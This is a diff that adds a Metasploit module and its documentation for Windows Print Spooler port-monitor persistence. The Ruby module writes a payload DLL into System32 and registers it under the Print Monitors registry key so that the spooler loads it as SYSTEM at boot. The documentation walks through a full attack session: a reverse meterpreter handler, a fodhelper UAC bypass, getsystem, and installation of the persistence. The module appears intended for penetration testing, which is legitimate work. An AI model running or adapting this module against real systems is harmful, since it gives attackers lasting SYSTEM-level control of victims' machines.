diff --git a/documentation/modules/exploit/windows/persistence/port_monitor.md b/documentation/modules/exploit/windows/persistence/port_monitor.md new file mode 100644 index 0000000000000..d6d75731867f4 --- /dev/null +++ b/documentation/modules/exploit/windows/persistence/port_monitor.md @@ -0,0 +1,230 @@ +## Vulnerable Application + +### Windows Print Spooler (Port Monitor Persistence) + +The Windows Print Spooler service supports loading custom **Print Monitor DLLs**, which are registered under: +`HKLM\SYSTEM\CurrentControlSet\Control\Print\Monitors` + +At system startup (or when the Spooler service restarts), Windows automatically loads all configured monitor DLLs. +This behavior can be abused to achieve **persistence**, +as any malicious DLL placed and registered in this location will be executed by the Spooler service. + +This module leverages the **manual registry method** (instead of the `AddMonitor` API) by: + +* Writing a malicious DLL to `%WINDIR%\System32` +* Creating or modifying a monitor registry key +* Setting the `Driver` value to point to the payload DLL + +Since this requires writing to **System32** and modifying **HKLM**, **administrative or SYSTEM privileges are required**. + + +## Verification Steps + +1. Start `msfconsole` +2. Get a SYSTEM session +3. use exploit/windows/persistence/port_monitor +4. set SESSION +5. run +6. Restart the Print Spooler service if it was not restarted automatically by the module +7. Trigger the payload execution (e.g. by restarting the service or rebooting the system, wait for callback or interact with a handler) +8. A new (user/SYSTEM) session should be received +9. (Optional) Verify registry entry under: `HKLM\SYSTEM\CurrentControlSet\Control\Print\Monitors\` + +## Options + +### MONITOR_NAME + +Name of the registry key created under: +`HKLM\SYSTEM\CurrentControlSet\Control\Print\Monitors` + +(Default: randomized 8-character alpha string) + +### DLL_NAME + +Name of the payload DLL written to: `%WINDIR%\System32`. The `.dll` extension is +appended automatically if not supplied. + +(Default: randomized 8-character alpha string) + +### RESTART_SPOOLER + +Restart the Print Spooler service after installation to trigger the payload immediately. + +(Default: `true`) + +## Scenarios + +### Windows + +#### Initial System Session + +```msf exploit(windows/persistence/port_monitor) > use exploit/multi/handler +[*] Using configured payload generic/shell_reverse_tcp +msf exploit(multi/handler) > windows/x64/meterpreter/reverse_https +[-] Unknown command: windows/x64/meterpreter/reverse_https. Run the help command for more details. +This is a module we can load. Do you want to use windows/x64/meterpreter/reverse_https? [y/N] exit +msf exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_https +payload => windows/x64/meterpreter/reverse_https +msf exploit(multi/handler) > set LHOST 172.21.176.212 +LHOST => 172.21.176.212 +msf exploit(multi/handler) > set LPORT 4444 +LPORT => 4444 +msf exploit(multi/handler) > run +[*] Started HTTPS reverse handler on https://172.21.176.212:4444 +[!] https://172.21.176.212:4444 handling request from 172.21.176.1; (UUID: abgnhr2o) Without a database connected that payload UUID tracking will not work! +[*] https://172.21.176.212:4444 handling request from 172.21.176.1; (UUID: abgnhr2o) Staging x64 payload (233052 bytes) ... +[!] https://172.21.176.212:4444 handling request from 172.21.176.1; (UUID: abgnhr2o) Without a database connected that payload UUID tracking will not work! +[*] Meterpreter session 1 opened (172.21.176.212:4444 -> 172.21.176.1:59514) at 2026-03-11 01:49:18 +0200 + +meterpreter > background +[*] Backgrounding session 1... + +msf exploit(multi/handler) > use exploit/windows/local/bypassuac_fodhelper +[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp +msf exploit(windows/local/bypassuac_fodhelper) > set SESSION 1 +SESSION => 1 +msf exploit(windows/local/bypassuac_fodhelper) > set LHOST 172.21.176.212 +LHOST => 172.21.176.212 +msf exploit(windows/local/bypassuac_fodhelper) > set LPORT 5555 +LPORT => 5555 +msf exploit(windows/local/bypassuac_fodhelper) > run +[*] Started reverse TCP handler on 172.21.176.212:5555 +[*] UAC is Enabled, checking level... +[+] Part of Administrators group! Continuing... +[+] UAC is set to Default +[+] BypassUAC can bypass this setting, continuing... +[*] Configuring payload and stager registry keys ... +[*] Executing payload: C:\WINDOWS\system32\cmd.exe /c C:\WINDOWS\System32\fodhelper.exe +[*] Sending stage (190534 bytes) to 172.21.176.1 +[*] Cleaning up registry keys ... +[*] Meterpreter session 2 opened (172.21.176.212:5555 -> 172.21.176.1:53775) at 2026-03-11 02:13:39 +0200 + +meterpreter > background +[*] Backgrounding session 2... +msf exploit(windows/local/bypassuac_fodhelper) > sessions + +Active sessions +=============== + + Id Name Type Information Connection + -- ---- ---- ----------- ---------- + 1 meterpreter x64/window NERO\DELL @ NERO 172.21.176.212:4444 -> 172.2 + s 1.176.1:59514 (172.21.176.1) + 2 meterpreter x86/window NERO\DELL @ NERO 172.21.176.212:5555 -> 172.2 + s 1.176.1:53775 (172.21.176.1) + +msf exploit(windows/local/bypassuac_fodhelper) > sessions -i 2 +[*] Starting interaction with 2... + +meterpreter > getuid +Server username: NERO\DELL +meterpreter > getsystem +...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)). +meterpreter > getuid +Server username: NT AUTHORITY\SYSTEM +meterpreter > background +[*] Backgrounding session 2... +``` + + + +#### Install Persistence + +```msf exploit(windows/local/bypassuac_fodhelper) > use exploit/windows/persistence/port_monitor +[*] Using configured payload windows/meterpreter/reverse_tcp +msf exploit(windows/persistence/port_monitor) > set SESSION 2 +SESSION => 2 +msf exploit(windows/persistence/port_monitor) > show options + +Module options (exploit/windows/persistence/port_monitor): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + DLL_NAME persist.dll yes DLL filename to write in %WINDIR%\S + ystem32. + MONITOR_NAME Hadess yes Name of the print monitor registry + key to create. + RESTART_SPOOLER false yes Restart the Print Spooler service t + o trigger monitor loading immediate + ly. + SESSION 2 yes The session to run this module on + + +Payload options (windows/meterpreter/reverse_tcp): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + EXITFUNC process yes Exit technique (Accepted: '', seh, thread, + process, none) + LHOST 172.21.176.212 yes The listen address (an interface may be sp + ecified) + LPORT 4444 yes The listen port + + +Exploit target: + + Id Name + -- ---- + 0 Automatic + + + +View the full module info with the info, or info -d command. + +msf exploit(windows/persistence/port_monitor) > check +[+] The target is vulnerable. Can write to monitor registry path and System32 +msf exploit(windows/persistence/port_monitor) > run +[*] Exploit running as background job 0. +[*] Exploit completed, but no session was created. +msf exploit(windows/persistence/port_monitor) > +[-] Handler failed to bind to 172.21.176.212:4444:- - +[-] Handler failed to bind to 0.0.0.0:4444:- - +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target is vulnerable. Can write to monitor registry path and System32 +[*] Writing payload DLL to C:\WINDOWS\System32\persist.dll +[*] Setting print monitor Driver value to persist.dll (C:\WINDOWS\System32\persist.dll) +[+] Persistence established. Registry: HKLM\SYSTEM\CurrentControlSet\Control\Print\Monitors\Hadess\Driver -> persist.dll +[*] Payload should execute when the Print Spooler service starts (typically at boot). +[*] Meterpreter-compatible Cleanup RC file: /home/nayera/.msf4/logs/persistence/NERO_20260318.0548/NERO_20260318.0548.rc + +msf exploit(windows/persistence/port_monitor) > + +msf exploit(multi/handler) > sessions -i 3 +[*] Starting interaction with 3... + +meterpreter > shell +Process 18120 created. +Channel 6 created. +Microsoft Windows [Version 10.0.26200.8037] +(c) Microsoft Corporation. All rights reserved. + +C:\Windows\System32>net stop spooler +net start spooler +net stop spooler +The Print Spooler service is stopping. + +The Print Spooler service was stopped successfully. + + +C:\Windows\System32>net start spooler +The Print Spooler service is starting. +The Print Spooler service was started successfully. + + + +C:\Windows\System32>reg query HKLM\SYSTEM\CurrentControlSet\Control\Print\Monitors\Hadess + +reg query HKLM\SYSTEM\CurrentControlSet\Control\Print\Monitors\Hadess + + +HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Print\Monitors\Hadess + + Driver REG_SZ persist.dll + +``` + + + diff --git a/modules/exploits/windows/persistence/port_monitor.rb b/modules/exploits/windows/persistence/port_monitor.rb new file mode 100644 index 0000000000000..5b9e32d00c848 --- /dev/null +++ b/modules/exploits/windows/persistence/port_monitor.rb @@ -0,0 +1,158 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Local + Rank = ExcellentRanking + + include Msf::Post::File + include Msf::Exploit::EXE + include Msf::Exploit::Local::Persistence + include Msf::Post::Windows::Priv + include Msf::Post::Windows::Registry + include Msf::Post::Windows::Services + prepend Msf::Exploit::Remote::AutoCheck + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Windows Print Port Monitor Persistence', + 'Description' => %q{ + This module establishes persistence by registering a malicious Print Monitor DLL + under HKLM\SYSTEM\CurrentControlSet\Control\Print\Monitors. The Print Spooler + service loads configured monitor DLLs at startup, causing payload execution when + the spooler service starts (for example, on boot). + + This module implements the manual registry method (not the AddMonitor API method). + It writes the payload DLL to %WINDIR%\System32 and requires administrative + privileges to write to System32 and modify HKLM. + }, + 'License' => MSF_LICENSE, + 'Author' => ['Nayera'], + 'Arch' => [ARCH_X64, ARCH_X86], + 'Platform' => [ 'win' ], + 'SessionTypes' => [ 'meterpreter' ], + 'Privileged' => true, + 'Targets' => [ + [ 'Automatic', {} ] + ], + 'DisclosureDate' => '2026-03-10', + 'DefaultTarget' => 0, + 'References' => [ + ['ATT&CK', Mitre::Attack::Technique::T1547_010_PORT_MONITORS], + ['ATT&CK', Mitre::Attack::Technique::T1112_MODIFY_REGISTRY], + ['URL', 'https://learn.microsoft.com/en-us/windows-hardware/drivers/print/adding-a-port-monitor'], + ['URL', 'https://learn.microsoft.com/en-us/windows/win32/printdocs/print-monitors'] + ], + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT], + 'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES] + } + ) + ) + + register_options( + [ + OptString.new('MONITOR_NAME', [true, 'Name of the print monitor registry key to create.', Rex::Text.rand_text_alpha(8)]), + OptString.new('DLL_NAME', [true, 'DLL filename to write in %WINDIR%\\System32.', Rex::Text.rand_text_alpha(8)]), + OptBool.new('RESTART_SPOOLER', [true, 'Restart the Print Spooler service to trigger monitor loading immediately.', true]) + ] + ) + end + + def monitor_reg_key + "HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors\\#{datastore['MONITOR_NAME']}" + end + + def system32_path + expand_path('%WINDIR%\\System32') + end + + def payload_name + name = datastore['DLL_NAME'].to_s + name.downcase.end_with?('.dll') ? name : "#{name}.dll" + end + + def payload_path + "#{system32_path}\\#{payload_name}" + end + + def check + return CheckCode::Safe('Admin or SYSTEM privileges are required') unless is_admin? || is_system? + return CheckCode::Safe("System32 path does not exist: #{system32_path}") unless directory?(system32_path) + + test_file = "#{system32_path}\\#{Rex::Text.rand_text_alpha(6)}.tmp" + + begin + write_file(test_file, 'test') + rm_f(test_file) + rescue StandardError + return CheckCode::Safe("Unable to write to #{system32_path}") + end + test_key = 'HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors\\' + Rex::Text.rand_text_alpha(8) + return CheckCode::Safe('Unable to create temporary monitor registry key under HKLM') unless registry_createkey(test_key) + + registry_deletekey(test_key) + CheckCode::Vulnerable('Can write to monitor registry path and System32') + end + + def install_persistence + fail_with(Failure::NoAccess, 'Admin or SYSTEM privileges are required') unless is_admin? || is_system? + + fail_with(Failure::BadConfig, 'DLL_NAME must not contain path separators') if payload_name.match?(%r{[\\/]}) + fail_with(Failure::BadConfig, 'MONITOR_NAME cannot be empty') if datastore['MONITOR_NAME'].strip.empty? + + payload_dll = generate_payload_dll(dll_exitprocess: true) + if sysinfo['Architecture'] != payload_instance.arch.first + print_warning("Payload architecture (#{payload_instance.arch.first}) does not match target architecture (#{sysinfo['Architecture']})") + end + + print_status("Writing payload DLL to #{payload_path}") + write_file(payload_path, payload_dll) + fail_with(Failure::UnexpectedReply, "Failed to write payload DLL to #{payload_path}") unless exists?(payload_path) + + @existing_monitor_key = !registry_enumkeys(monitor_reg_key).nil? + unless @existing_monitor_key || registry_createkey(monitor_reg_key) + fail_with(Failure::UnexpectedReply, "Failed to create monitor key: #{monitor_reg_key}") + end + + @original_driver = registry_getvaldata(monitor_reg_key, 'Driver') if @existing_monitor_key + + print_status("Setting print monitor Driver value to #{payload_name} (#{payload_path})") + unless registry_setvaldata(monitor_reg_key, 'Driver', payload_name, 'REG_SZ') + fail_with(Failure::UnexpectedReply, "Failed to write registry value: #{monitor_reg_key}\\Driver") + end + + print_good("Persistence established. Registry: #{monitor_reg_key}\\Driver -> #{payload_name}") + print_status('Payload should execute when the Print Spooler service starts (typically at boot).') + + restart_spooler if datastore['RESTART_SPOOLER'] + + @clean_up_rc << "rm \"#{payload_path.gsub('\\', '/')}\"\n" + if @existing_monitor_key + if @original_driver.nil? + @clean_up_rc << "reg deleteval -k '#{monitor_reg_key}' -v 'Driver'\n" + else + @clean_up_rc << "reg setval -k '#{monitor_reg_key}' -v 'Driver' -d '#{@original_driver}' -t REG_SZ\n" + end + else + @clean_up_rc << "reg deletekey -k '#{monitor_reg_key}'\n" + end + end + + def restart_spooler + print_status('Attempting to restart Spooler service for immediate payload trigger...') + stop_result = service_stop('Spooler') + start_result = service_start('Spooler') + if stop_result.zero? && start_result.zero? + print_good('Spooler service restarted successfully') + else + print_warning("Unable to restart Spooler cleanly (stop=#{stop_result}, start=#{start_result}).") + end + rescue Rex::Post::Meterpreter::RequestError, NoMethodError => e + print_warning("Failed to restart Spooler service automatically: #{e.class} #{e}") + end +end